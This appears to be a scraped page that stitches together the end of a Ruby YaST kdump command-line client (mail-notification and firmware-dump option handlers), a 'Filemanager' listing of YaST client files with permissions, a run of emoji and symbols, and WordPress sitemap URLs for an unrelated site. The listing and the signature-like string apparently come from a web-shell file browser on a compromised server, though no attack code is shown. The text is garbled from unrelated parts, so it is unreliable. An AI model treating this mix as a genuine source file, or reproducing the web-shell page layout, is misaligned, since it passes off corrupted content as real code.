        CommandLine.Error(_("Wrong options were used."))
        return false
      end
    end

    def cmdKdumpImmediateReboot(options)
      options = deep_copy(options)
      if Ops.get(options, "enable") != nil
        Ops.set(Kdump.KDUMP_SETTINGS, "KDUMP_IMMEDIATE_REBOOT", "yes")
        return true
      elsif Ops.get(options, "disable") != nil
        Ops.set(Kdump.KDUMP_SETTINGS, "KDUMP_IMMEDIATE_REBOOT", "no")
        return true
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Wrong options were used."))
        return false
      end
    end


    def cmdKdumpCopyKernel(options)
      options = deep_copy(options)
      if Ops.get(options, "enable") != nil
        Ops.set(Kdump.KDUMP_SETTINGS, "KDUMP_COPY_KERNEL", "yes")
        return true
      elsif Ops.get(options, "disable") != nil
        Ops.set(Kdump.KDUMP_SETTINGS, "KDUMP_COPY_KERNEL", "no")
        return true
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Wrong options were used."))
        return false
      end
    end


    def cmdKdumpKeepOldDumps(options)
      options = deep_copy(options)
      if Ops.get(options, "no") != nil
        if Ops.greater_than(Ops.get(options, "no"), -1)
          Ops.set(
            Kdump.KDUMP_SETTINGS,
            "KDUMP_KEEP_OLD_DUMPS",
            Builtins.tostring(Ops.get(options, "no"))
          )
          return true
        else
          # TRANSLATORS: CommandLine error message
          CommandLine.Error(_("Wrong value of options \"no\"."))
          return false
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Wrong options were used."))
        return false
      end
    end

    def cmdKdumpSMTPServer(options)
      options = deep_copy(options)
      if Ops.get(options, "server") != nil
        server = Builtins.tostring(Ops.get(options, "server"))

        if server != "" && server != nil
          Ops.set(Kdump.KDUMP_SETTINGS, "KDUMP_SMTP_SERVER", server)
          return true
        else
          # TRANSLATORS: CommandLine error message
          CommandLine.Error(_("Wrong value for option \"server\"."))
          return false
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Wrong options were used."))
        return false
      end
    end

    def cmdKdumpSMTPUser(options)
      options = deep_copy(options)
      if Ops.get(options, "user") != nil
        user = Builtins.tostring(Ops.get(options, "user"))

        if user != "" && user != nil
          Ops.set(Kdump.KDUMP_SETTINGS, "KDUMP_SMTP_USER", user)
          return true
        else
          # TRANSLATORS: CommandLine error message
          CommandLine.Error(_("Wrong value for option \"user\"."))
          return false
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Wrong options were used."))
        return false
      end
    end


    def cmdKdumpSMTPPass(options)
      options = deep_copy(options)
      if Ops.get(options, "pass") != nil
        password = cmdParsePassPath(Builtins.tostring(Ops.get(options, "pass")))
        return false if password == nil || password == ""
        Ops.set(Kdump.KDUMP_SETTINGS, "KDUMP_SMTP_PASSWORD", password)
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Wrong options were used."))
        return false
      end

      nil
    end


    def cmdKdumpSMTPNotifTo(options)
      options = deep_copy(options)
      if Ops.get(options, "email") != nil
        email = Builtins.tostring(Ops.get(options, "email"))

        if email != "" && email != nil
          Ops.set(Kdump.KDUMP_SETTINGS, "KDUMP_NOTIFICATION_TO", email)
          return true
        else
          # TRANSLATORS: CommandLine error message
          CommandLine.Error(_("Wrong value for option \"email\"."))
          return false
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Wrong options were used."))
        return false
      end
    end

    def cmdKdumpSMTPNotifCC(options)
      options = deep_copy(options)
      if Ops.get(options, "email") != nil
        email = Builtins.tostring(Ops.get(options, "email"))

        if email != "" && email != nil
          Ops.set(Kdump.KDUMP_SETTINGS, "KDUMP_NOTIFICATION_CC", email)
          return true
        else
          # TRANSLATORS: CommandLine error message
          CommandLine.Error(_("Wrong value for option \"email\"."))
          return false
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Wrong options were used."))
        return false
      end
    end

    def show_fadump_status
      CommandLine.Print(
        _("Firmware-assisted dump: %{status}") %
          { :status => Kdump.using_fadump? ?
            _("Enabled") :
            _("Disabled")
          }
      )
    end

    def cmd_handle_fadump(options)
      if options["enable"]
        return Kdump.use_fadump(true)
      elsif options["disable"]
        return Kdump.use_fadump(false)
      elsif options["status"]
        show_fadump_status
        return true
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("No option has been defined."))
        return false
      end
    end

  end
end

Yast::KdumpClient.new.main

Filemanager

Name Type Size Permission Actions
OneClickInstallCLI.rb File 6.29 KB 0644
OneClickInstallUI.rb File 20.1 KB 0644
OneClickInstallUrlHandler.rb File 637 B 0644
OneClickInstallWorker.rb File 5.53 KB 0644
add-on.rb File 4.81 KB 0644
add-on_auto.rb File 10.01 KB 0644
add-on_proposal.rb File 2.42 KB 0644
add_inst_source_slptype.rb File 918 B 0644
audit-laf.rb File 11.39 KB 0644
audit-laf_auto.rb File 3.95 KB 0644
audit-laf_proposal.rb File 3.41 KB 0644
auth-client.rb File 1.07 KB 0644
auth-client_auto.rb File 1013 B 0644
auth-server.rb File 7.89 KB 0644
auth-server_auto.rb File 3.02 KB 0644
auth-server_proposal.rb File 12.25 KB 0644
auth.rb File 1.15 KB 0644
autoinst_scripts1_finish.rb File 1.55 KB 0644
autoinst_scripts2_finish.rb File 2.17 KB 0644
autoinst_test_clone.rb File 1017 B 0644
autoinst_test_stage.rb File 1.53 KB 0644
autoyast.rb File 4.09 KB 0644
ayast_probe.rb File 3.29 KB 0644
ayast_setup.rb File 4.76 KB 0644
backup_proposal.rb File 3.61 KB 0644
bootloader.rb File 1.13 KB 0644
bootloader_auto.rb File 63 B 0644
bootloader_finish.rb File 65 B 0644
bootloader_proposal.rb File 71 B 0644
ca-mgm.rb File 1.16 KB 0644
ca_mgm.rb File 7.43 KB 0644
ca_mgm_auto.rb File 37.21 KB 0644
ca_mgm_proposal.rb File 16.46 KB 0644
ca_select_proposal.rb File 18.54 KB 0644
cd_update.rb File 1.13 KB 0644
checkmedia.rb File 1.13 KB 0644
cio_ignore_finish.rb File 92 B 0644
cio_ignore_proposal.rb File 94 B 0644
classes_auto.rb File 2.07 KB 0644
clone_system.rb File 4.33 KB 0644
common-cert.rb File 1.18 KB 0644
common_cert.rb File 6.85 KB 0644
complete_workflow.rb File 1.38 KB 0644
copy_files_finish.rb File 86 B 0644
copy_logs_finish.rb File 76 B 0644
copy_systemfiles_finish.rb File 98 B 0644
country_simple_proposal.rb File 3.29 KB 0644
default_target_finish.rb File 1.16 KB 0644
default_target_proposal.rb File 8.72 KB 0644
deploy_image_auto.rb File 86 B 0644
deploying_proposal.rb File 89 B 0644
desktop_finish.rb File 81 B 0644
dhcp-server.rb File 1.14 KB 0644
dhcp-server_auto.rb File 4.68 KB 0644
discover_registration_services.rb File 1.03 KB 0644
disintegrate_all_extensions.rb File 106 B 0644
disk.rb File 2.91 KB 0644
disk_worker.rb File 4.06 KB 0644
dns-server.rb File 1.1 KB 0644
dns-server_auto.rb File 2.89 KB 0644
dns.rb File 8.35 KB 0644
dns_auto.rb File 3.37 KB 0644
do_not_show_again_editor.rb File 3.49 KB 0644
do_online_update_auto.rb File 3.27 KB 0644
driver_update1_finish.rb File 94 B 0644
driver_update2_finish.rb File 94 B 0644
files_auto.rb File 10.82 KB 0644
firewall.rb File 3.15 KB 0644
firewall_auto.rb File 4.15 KB 0644
firewall_proposal.rb File 9.86 KB 0644
firewall_stage1_finish.rb File 5.71 KB 0644
firewall_stage1_proposal.rb File 16.24 KB 0644
ftp-server.rb File 40.97 KB 0644
ftp-server_auto.rb File 3.56 KB 0644
general_auto.rb File 1.83 KB 0644
groups.rb File 9.29 KB 0644
host.rb File 3.32 KB 0644
host_auto.rb File 4.33 KB 0644
http-server.rb File 18.42 KB 0644
http-server_auto.rb File 3.1 KB 0644
inetd.rb File 13.52 KB 0644
inetd_auto.rb File 4.63 KB 0644
inetd_proposal.rb File 3.07 KB 0644
inst_add-on.rb File 5 KB 0644
inst_add-on_software.rb File 3.3 KB 0644
inst_addon_update_sources.rb File 101 B 0644
inst_ask_online_update.rb File 95 B 0644
inst_autoconfigure.rb File 19.7 KB 0644
inst_autoimage.rb File 1.85 KB 0644
inst_autoinit.rb File 6.47 KB 0644
inst_autopost.rb File 8.47 KB 0644
inst_autosetup.rb File 17.36 KB 0644
inst_autosetup_upgrade.rb File 17.05 KB 0644
inst_backup.rb File 7.77 KB 0644
inst_bootloader.rb File 1.18 KB 0644
inst_check_autoinst_mode.rb File 99 B 0644
inst_check_memsize.rb File 658 B 0644
inst_checkmedia.rb File 3.31 KB 0644
inst_complex_welcome.rb File 92 B 0644
inst_congratulate.rb File 87 B 0644
inst_custom_packages.rb File 2.91 KB 0644
inst_custom_part.rb File 1.17 KB 0644
inst_custom_patterns.rb File 94 B 0644
inst_deploy_image.rb File 86 B 0644
inst_desktop_roles.rb File 98 B 0644
inst_disk.rb File 2.55 KB 0644
inst_disk_for_image.rb File 89 B 0644
inst_disk_proposal.rb File 12.58 KB 0644
inst_disks_activate.rb File 90 B 0644
inst_do_net_test.rb File 28.83 KB 0644
inst_doit.rb File 71 B 0644
inst_download_release_notes.rb File 105 B 0644
inst_extrasources.rb File 87 B 0644
inst_features.rb File 79 B 0644
inst_finish.rb File 75 B 0644
inst_info.rb File 71 B 0644
inst_initialization.rb File 91 B 0644
inst_install_inf.rb File 85 B 0644
inst_installation_options.rb File 87 B 0644
inst_instsys_cleanup.rb File 99 B 0644
inst_iscsi-client.rb File 3.46 KB 0644
inst_keyboard_root_password.rb File 108 B 0644
inst_kickoff.rb File 19.83 KB 0644
inst_lan.rb File 2.24 KB 0644
inst_language.rb File 1.36 KB 0644
inst_language_add-on.rb File 12.54 KB 0644
inst_license.rb File 77 B 0644
inst_mediacopy.rb File 4.17 KB 0644
inst_network_check.rb File 88 B 0644
inst_pre_install.rb File 84 B 0644
inst_prepare_image.rb File 88 B 0644
inst_prepareprogress.rb File 93 B 0644
inst_prepdisk.rb File 5.8 KB 0644
inst_productsources.rb File 50.93 KB 0644
inst_proposal.rb File 1008 B 0644
inst_release_notes.rb File 88 B 0644
inst_resize_dialog.rb File 17.82 KB 0644
inst_resize_ui.rb File 30.46 KB 0644
inst_restore_settings.rb File 94 B 0644
inst_root_first.rb File 1007 B 0644
inst_rootpart.rb File 1.57 KB 0644
inst_rpmcopy.rb File 18.49 KB 0644
inst_rpmcopy_secondstage.rb File 100 B 0644
inst_save_hardware_status.rb File 101 B 0644
inst_scc.rb File 10.61 KB 0644
inst_scenarios.rb File 81 B 0644
inst_setup_dhcp.rb File 73 B 0644
inst_ssh_import.rb File 843 B 0644
inst_store_upgrade_software.rb File 3.98 KB 0644
inst_sw_select.rb File 1.77 KB 0644
inst_system_analysis.rb File 92 B 0644
inst_system_role.rb File 81 B 0644
inst_target_part.rb File 17.41 KB 0644
inst_target_selection.rb File 11.7 KB 0644
inst_test_workflow.rb File 949 B 0644
inst_timezone.rb File 2.36 KB 0644
inst_update.rb File 8.52 KB 0644
inst_update_installer.rb File 732 B 0644
inst_update_partition.rb File 1.86 KB 0644
inst_update_partition_auto.rb File 1.27 KB 0644
inst_upgrade_urls.rb File 86 B 0644
inst_user_first.rb File 1007 B 0644
inst_welcome.rb File 77 B 0644
inst_worker_continue.rb File 92 B 0644
inst_worker_initial.rb File 90 B 0644
inst_you.rb File 11.74 KB 0644
installation.rb File 78 B 0644
installation_settings_finish.rb File 108 B 0644
instserver.rb File 1.44 KB 0644
iscsi-client.rb File 3.1 KB 0644
iscsi-client_auto.rb File 4.1 KB 0644
iscsi-client_finish.rb File 3.46 KB 0644
iscsi-client_proposal.rb File 3.51 KB 0644
isns.rb File 2.13 KB 0644
isns_auto.rb File 2.96 KB 0644
isns_finish.rb File 1.9 KB 0644
isns_proposal.rb File 2.59 KB 0644
kdump.rb File 41.7 KB 0644
kdump_auto.rb File 2.66 KB 0644
kdump_finish.rb File 62 B 0644
kdump_proposal.rb File 3.11 KB 0644
kernel_finish.rb File 79 B 0644
key_manager.rb File 2.29 KB 0644
keyboard.rb File 5.48 KB 0644
keyboard_auto.rb File 3.16 KB 0644
keyboard_proposal.rb File 3 KB 0644
keyboard_simple_proposal.rb File 1.41 KB 0644
lan.rb File 6.23 KB 0644
lan_auto.rb File 12.98 KB 0644
language.rb File 9.12 KB 0644
language_auto.rb File 3.11 KB 0644
language_proposal.rb File 4.14 KB 0644
language_simple_proposal.rb File 1.6 KB 0644
ldap_browser.rb File 23.65 KB 0644
ldap_config.rb File 1.93 KB 0644
ldapkrb.rb File 1.1 KB 0644
ldconfig_finish.rb File 83 B 0644
mail.rb File 2.87 KB 0644
mail_auto.rb File 3.12 KB 0644
media_proposal.rb File 2.51 KB 0644
menu.rb File 12.75 KB 0644
migration.rb File 65 B 0644
migration_finish.rb File 732 B 0644
migration_proposal.rb File 715 B 0644
migration_proposals.rb File 1.19 KB 0644
migration_repos.rb File 730 B 0644
multipath-simple.rb File 1.21 KB 0644
network.rb File 4.3 KB 0644
network_finish.rb File 81 B 0644
network_proposal.rb File 69 B 0644
nfs-client.rb File 231 B 0644
nfs-client4part.rb File 2.63 KB 0644
nfs-server.rb File 277 B 0644
nfs.rb File 10.04 KB 0644
nfs_auto.rb File 2.54 KB 0644
nfs_server.rb File 9.59 KB 0644
nfs_server_auto.rb File 2.67 KB 0644
nis-client.rb File 1.16 KB 0644
nis-server.rb File 1.16 KB 0644
nis.rb File 7.99 KB 0644
nis_auto.rb File 3.05 KB 0644
nis_server.rb File 12.72 KB 0644
nis_server_auto.rb File 3.82 KB 0644
ntp-client.rb File 1.24 KB 0644
ntp-client_auto.rb File 3.92 KB 0644
ntp-client_finish.rb File 2.43 KB 0644
ntp-client_proposal.rb File 14.53 KB 0644
online_update.rb File 12.58 KB 0644
online_update_install.rb File 4.93 KB 0644
online_update_select.rb File 12.06 KB 0644
openldap-mirrormode.rb File 1.57 KB 0644
other_tools_warning.rb File 1.85 KB 0644
packages_proposal.rb File 7.64 KB 0644
partitions_proposal.rb File 8.99 KB 0644
pkg_finish.rb File 216 B 0644
pre_umount_finish.rb File 86 B 0644
prep_shrink_finish.rb File 94 B 0644
printer.rb File 3.03 KB 0644
printer_auto.rb File 17.76 KB 0644
printer_proposal.rb File 21.77 KB 0644
proxy.rb File 66 B 0644
proxy_auto.rb File 75 B 0644
proxy_finish.rb File 77 B 0644
registration.rb File 3.04 KB 0644
registration_sync.rb File 734 B 0644
relocation-server.rb File 3.45 KB 0644
remote.rb File 4.51 KB 0644
remote_finish.rb File 900 B 0644
remote_proposal.rb File 3.01 KB 0644
report_auto.rb File 7.94 KB 0644
repositories.rb File 308 B 0644
roles_finish.rb File 86 B 0644
rootpart_check_keyboard.rb File 1.63 KB 0644
rootpart_proposal.rb File 4.83 KB 0644
routing.rb File 12.82 KB 0644
routing_auto.rb File 3.39 KB 0644
samba-client.rb File 9.59 KB 0644
samba-client_auto.rb File 4.02 KB 0644
save_config_finish.rb File 88 B 0644
save_hw_status_finish.rb File 93 B 0644
save_network.rb File 9.33 KB 0644
scc.rb File 3.04 KB 0644
scc_auto.rb File 10.93 KB 0644
scc_finish.rb File 92 B 0644
scripts_auto.rb File 1.87 KB 0644
security.rb File 8.23 KB 0644
security_auto.rb File 4.25 KB 0644
security_summary.rb File 1.76 KB 0644
select_language.rb File 22.52 KB 0644
select_slp_source.rb File 432 B 0644
services-manager.rb File 7.25 KB 0644
services-manager_auto.rb File 1.13 KB 0644
services-manager_finish.rb File 117 B 0644
services.rb File 7.25 KB 0644
services_finish.rb File 92 B 0644
services_proposal.rb File 10.74 KB 0644
snapper.rb File 1.86 KB 0644
snapshots_finish.rb File 77 B 0644
software_auto.rb File 8.08 KB 0644
software_proposal.rb File 82 B 0644
software_simple_proposal.rb File 2.06 KB 0644
squid.rb File 3.86 KB 0644
squid_auto.rb File 3.89 KB 0644
ssh_import_auto.rb File 88 B 0644
ssh_import_proposal.rb File 85 B 0644
ssh_settings_finish.rb File 90 B 0644
storage.rb File 949 B 0644
storage_auto.rb File 2.49 KB 0644
storage_finish.rb File 3.04 KB 0644
stroj-casu.rb File 73 B 0644
sudo.rb File 2.6 KB 0644
support.rb File 3.12 KB 0644
support_auto.rb File 3.94 KB 0644
support_proposal.rb File 3.43 KB 0644
sw_single.rb File 26.4 KB 0644
switch_scr_finish.rb File 86 B 0644
sysconfig.rb File 4.36 KB 0644
sysconfig_auto.rb File 2.19 KB 0644
test_inst_client.rb File 84 B 0644
test_proposal.rb File 79 B 0644
tftp-server.rb File 4.33 KB 0644
tftp-server_auto.rb File 2.82 KB 0644
timezone.rb File 6.64 KB 0644
timezone_auto.rb File 2.82 KB 0644
timezone_proposal.rb File 2.67 KB 0644
umount_finish.rb File 79 B 0644
update_proposal.rb File 18.74 KB 0644
update_wizard_steps.rb File 90 B 0644
users.rb File 10.97 KB 0644
users_auto.rb File 5.54 KB 0644
users_encryption_method.rb File 1012 B 0644
users_encryption_proposal.rb File 819 B 0644
users_finish.rb File 1.2 KB 0644
users_plugin_ldap_all.rb File 11.17 KB 0644
users_plugin_ldap_passwordpolicy.rb File 7.03 KB 0644
users_plugin_ldap_shadowaccount.rb File 10.53 KB 0644
users_plugin_quota.rb File 18.49 KB 0644
users_proposal.rb File 1.08 KB 0644
vendor.rb File 10.32 KB 0644
view_anymsg.rb File 8.08 KB 0644
virtualization.rb File 3.02 KB 0644
vm_finish.rb File 4.69 KB 0644
vpn.rb File 1008 B 0644
vpn_auto.rb File 950 B 0644
wol.rb File 6.59 KB 0644
wrapper_slideshow_callbacks.rb File 1.27 KB 0644
wrapper_storage.rb File 1.96 KB 0644
x11_finish.rb File 73 B 0644
xinetd.rb File 1.15 KB 0644
yast_inf_finish.rb File 82 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml